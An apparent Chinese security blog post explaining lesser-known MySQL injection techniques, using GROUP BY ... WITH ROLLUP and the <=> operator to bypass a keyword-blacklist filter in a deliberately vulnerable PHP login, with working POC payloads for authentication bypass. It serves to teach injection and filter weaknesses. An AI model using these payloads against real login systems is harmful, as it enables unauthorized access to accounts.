MySQL偏门注入

VSole2021-10-13 05:57:16

说明

工作之后,目前工作内容就是写代码和研究Linux内核相关的知识,已经很少研究有关SQL注入等相关知识了。这篇文章是最近在整理自己电脑文件时发现的。与其藏在角落里,还不如和大家一起分享下。由于时间过于久远,也无法确认是不是已经有人已经分享过了。

rollup

简介

mysql中的group by后面可以接with rollup修饰语,使用with rollup修饰语可以在group by结果后面增加一行(该行内容中的group by的列返回NULL,其他列返回相应的内容)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 没有rollup
mysql> select Host,User from user  group  by host;
+-----------+------------+
| Host      | User       |
+-----------+------------+
| %         | wackopicko |
| 127.0.0.1 | root       |
| ::1       | root       |
| localhost | root       |
+-----------+------------+
4 rows in set (0.00 sec)

# 有rollup
mysql> select Host,User from user  group  by host with rollup ;
+-----------+------------+
| Host      | User       |
+-----------+------------+
| %         | wackopicko |
| 127.0.0.1 | root       |
| ::1       | root       |
| localhost | root       |
| NULL      | root       |
+-----------+------------+
5 rows in set (0.00 sec)

可以看到使用with rollup之后,返回结果中会多一行,且Host字段为NULL。

以一个稍微复杂一点的例子来说明with rollup的用法。

创建数据库

1
2
3
4
5
CREATE TABLE `t` (
`id` int(11) DEFAULT NULL,
`id2` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
insert into t value(11,11),(12,12),(13,13);

使用rollup查询

1
2
3
4
5
6
7
8
9
10
mysql> select id,sum(id2),avg(id2) from t group by id with rollup;
+------+----------+----------+
| id   | sum(id2) | avg(id2) |
+------+----------+----------+
|   11 |       11 |  11.0000 |
|   12 |       12 |  12.0000 |
|   13 |       13 |  13.0000 |
| NULL |       36 |  12.0000 |
+------+----------+----------+
4 rows in set (0.00 sec)

可以发现对于group by的列(在本例中为id),返回为NULL,对于其他列则是进行正常的操作(在本例中为sum和avg操作)。

rollup绕过检测

存在users表,其中仅仅只存在一条记录。

1
2
3
4
5
6
7
8
9
-- auto-generated definition
CREATE TABLE users
(
  id       INT AUTO_INCREMENT PRIMARY KEY,
  username VARCHAR(255) NULL,
  password VARCHAR(255) NULL,
  CONSTRAINT users_id_uindex
  UNIQUE (id)
);

需要绕过的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function AttackFilter($StrKey,$StrValue,$arrReq) {
    if(is_array($StrValue)) {
        $StrValue = implode($StrValue);
    }
    if(preg_match("/".$arrReq."/is",$StrValue) == 1) {
        print "the attack is detected";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp";

foreach ($_POST as $key=>$value) {
    AttackFilter($key,$value,$filter);
}


$username = @$_POST['username'];
$password = @$_POST['password'];
$query = "select * from users WHERE username='{$username}'";
$query = mysqli_query($conn,$query);

if(mysqli_num_rows($query) == 1) {
    $result = mysqli_fetch_array($query);
    if($result['password'] == $password) {
        die('right');
    }
}

这道题目与常规的md5的登录注入类似,但是无法使用union子句,此时就可以使用rollup子句。

1
select * from users where username=''or 1 group by username with rollup

会产生一条password为NULL的记录,使用limit取出这条语句,然后传入空的password,最后就会NULL==NULL而绕过验证。

如果不知道用户名,可以使用username=' or 1=1。但是在本例中过滤了or,那么可以使用username='=0(利用’’=0的特性)。

POC为:

1
POST:username='=0 group by password with rollup limit 1 offset 1#&password=

<=>

同样是上面的那道题目,在POC中使用了limit。如果limit无法使用也被过滤了,则该如何绕过呢?

那么需要看一下SELECT的语法了。`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
SELECT
    [ALL | DISTINCT | DISTINCTROW ]
      [HIGH_PRIORITY]
      [STRAIGHT_JOIN]
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
    select_expr [, select_expr ...]
    [FROM table_references
      [PARTITION partition_list]
    [WHERE where_condition]
    [GROUP BY {col_name | expr | position}
      [ASC | DESC], ... [WITH ROLLUP]]
    [HAVING where_condition]
    [ORDER BY {col_name | expr | position}
      [ASC | DESC], ...]
    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

GROUP BY后面可以接HAVING子句,如果需要HAVING子句生效,则需要后面的where_condition为True。如果直接使用HAVING password=null的话不会生效因为mysql中 null = null 会返回 null。当 null <=> null 的时候会返回1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select null=null;
+-----------+
| null=null |
+-----------+
|      NULL |
+-----------+
1 row in set (0.00 sec)

mysql> select null<=>null;
+-------------+
| null<=>null |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)

所以最终的POC为:

1
username='=0 group by password with rollup having password <=>null %23&password=

参考

MySQL group by with rollup

MySQL注入的一些偏门技巧

selectmysql update语句
本作品采用《CC 协议》,转载必须注明作者和本文链接
LIMIT 语句分页查询是最常用的场景之一,但也通常也是最容易出问题的地方。比如对于下面简单的语句,一般 DBA 想到的办法是在 type, name, create_time 字段上加组合索引。这样条件排序都能有效的利用到索引,性能迅速提升。好吧,可能90%以上的 DBA 解决该问题就到此为止。出现这种性能问题,多数情形下是程序员偷懒了。在新设计下查询时间基本固定,不会随着数据量的增长而发生变化。
SQL注入速查表
2022-07-29 09:22:37
现在仅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句,而经常发生变化。
SQLite 是一个被大家低估的数据库,但有些人认为它是一个不适合生产环境使用的玩具数据库。事实上,SQLite 是一个非常可靠的数据库,它可以处理 TB 级的数据,但它没有网络层。接下来,本文将与大家共同探讨 SQLite 在过去一年中最新的 SQL 功能。
前言本次审计的话是Seay+昆仑镜进行漏洞扫描Seay的话它可以很方便的查看各个文件,而昆仑镜可以很快且扫出更多的漏洞点,将这两者进行结合起来,就可以发挥更好的效果。$sql = 'select * from xtcms_manager where m_name = "'.$a_name.'" and m_password = "'.md5.'"';验证码的校验代码if ($_SESSION['verifycode'] !该文件的含义是用0-9中的任意四个数字作为验证码,也就是说js引用该文件来产生验证码。wap/seacher.php昆仑镜扫描利用seay查看源码//这只是一部分,具体的师傅们可自行查看此文件
在日常渗透过程中我们经常会和数据库打交道,其中很多时候都与Mysql数据库有关,Mysql的提权,写入webshell、数据库用户权限提升等
在开始介绍如何优化sql前,先附上mysql内部逻辑图让大家有所了解连接器:?优先在缓存中进行查询,如果查到了则直接返回,如果缓存中查询不到,在去数据库中查询。
Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在GitHub 上就有超过 400 万个项目使用,Lodash的普及率非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。
VSole
网络安全专家